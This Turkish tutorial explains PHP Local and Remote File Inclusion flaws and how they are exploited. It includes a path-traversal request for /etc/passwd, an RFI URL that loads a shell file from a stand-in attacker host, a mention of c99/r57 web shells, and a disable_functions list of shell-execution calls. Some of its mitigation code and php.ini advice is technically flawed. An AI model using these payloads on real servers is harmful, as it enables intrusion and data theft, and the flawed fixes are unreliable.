File Inclusion Nedir ?
File Inclusion, yani dosya dahil etme saldırısı saldırganın hedef web sitesine bir dosya dahil etmesine ya da hedef web sitesinin kendinde olan ama sunmadığı bir dosyayı görüntüleyebilmesine denir.
File Inclusion açıklığını kullanan iki tür saldırı vardır: Bunlardan birincisi Local File Inclusion diye adlandırılmaktadır, ikincisi ise Remote File Inclusion diye adlandırılmaktadır. Local File Inclusion saldırısı hedef sitenin barındığı sunucudaki ziyaretçilere sunulmamış dosyanın hedef site üzerinden görüntülenebilmesine denir. Remote File Inclusion saldırısı ise hedef siteye saldırganın kendi dosyasını görüntületmesine denir.
LFI (Local File Inclusion) : Yerelden dosya ekleyerek kod çalıştırmaktır.
RFI (Remote File Inclusion) : Uzaktan dosya ekleyerek kod çalıştırmaktır.
Lfi açığı Php’de bulunan bir açıktır. Bu açığın sebebi de değişkenlerin atama hatalarıdır. Acemi Php coderlar maalesef bu tip hatalara düşmektedir. Fakat günümüzde neredeyse kalmayacak duruma gelen bu açık hala sıfırdan kodlanan Php sistemlerde bulunabiliyor.
Aslında Lfi “include, include_once, require, require_once” kodlarından dolayı oluşuyor. Bu Php kodlarına biraz inceleyelim.
INCLUDE / INCLUDE_ONCE :
Bu kodumuz ile yazdığımız uzun kodları bir başka sayfaya aktarıyoruz.
REQUIRE / REQUIRE_ONCE :
Bu kodda yukarıda verdiğim “include” komutunu yerine getirir fakat “include” komutunda çağırdığınız dosya bulunamadıysa hata verip orayı atlayacaktır ve yorumlayıcı yorumlamaya devam edecektir. Ancak Require komutunda çağrılan dosya bulunamazsa yorumlayıcı hatayı verdikten sonra çalışmayı kesecek yani diğer kısımları yorumlamayacaktır.
LFI (Local File Inclusion) Örneği
index.php dosyası:
<?php
include($_GET[‘sayfa’])
?>
Bu gibi bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri oluşturulur:
index.php?sayfa=haberler.php
index.php?sayfa=iletisim.php
En basit görünümüyle böyle bir yazılım, LFI (Local File Inclusion) zayıflığını oluşturur:
* index.php?sayfa=../../../../../../../../../etc/passwd
Yukarıdaki “../” ifadesi bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sunucunun /etc/passwd içeriğini yani user listesini ekrana yazdırır:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…..
RFI (Remote File Inclusion) Örneği
index2.php dosyası:
include(“$duyurular/guncel/duyuru.php”);
Bu satırdaki “$” işareti bulunan parametreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür.
“http://www.hedef.com/index2.php?duyurular=http://saldirgan.com/shell.txt?”
Yukarıdaki şekilde, http://saldirgan.com/shell.txt? adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.
RFI Açıklarından nasıl yararlanılır ?
Şimdi geçelim bu açıklardan nasıl yararlanacağımıza…
PHP Kodlamalarda include komutu ile çalıştırılması gereken dosyanın yolu gösterilir.
Biz ne mi yapacağız ? Bu yolu kullanarak o dosya yerine bizim istediğimiz bir dosyayı çalıştıracağız.
Peki bu ne gibi bir işe yarar ?
Eğer serverdaki dizinleri gösterebilen, dosya upload edilebilen, gerektiğinde port açabilen kodlar çalıştırılırsa sadece siteye değil tüm server’a hakim olunabiliyor.
Siteye ve Servera hakim olmamızı sağlayan bu kodlara da “ListPath” denir. (c99.php, r57.php gibi)
Dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma ve web üzerinde komut çalıştırma, dizin atlağlantıları görme, dosya içeriği okuma, dosya yükleme ve dosya indirme vs.. özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir.
Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemelr yapılabilir.
Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm web siteleri ve sunucu tehlike altındadır.
KORUNMA YÖNTEMLERİ
Yöntem 1:
Yazılan kodların RFI açıklarına karşı kontrol edilmesi.
Zayıf Kod:
<?php
include ($ornek. ‘../index.php’);
?>
Güvenli Kod:
<?php
$ornek= ‘veri’;
include ($ornek. ‘../index.php’);
?>
örnek değişkenine tanımlama yapıldığından dış verinin girişine izin vermeyecek ve RFI & LFI açıklarından korunmamızı sağlayacaktır.
Yöntem 2:
php.ini/etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell scriptçiklerinin etkisiz kalmaları sağlanabilir:
disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice.
Güvenli kodlamalar…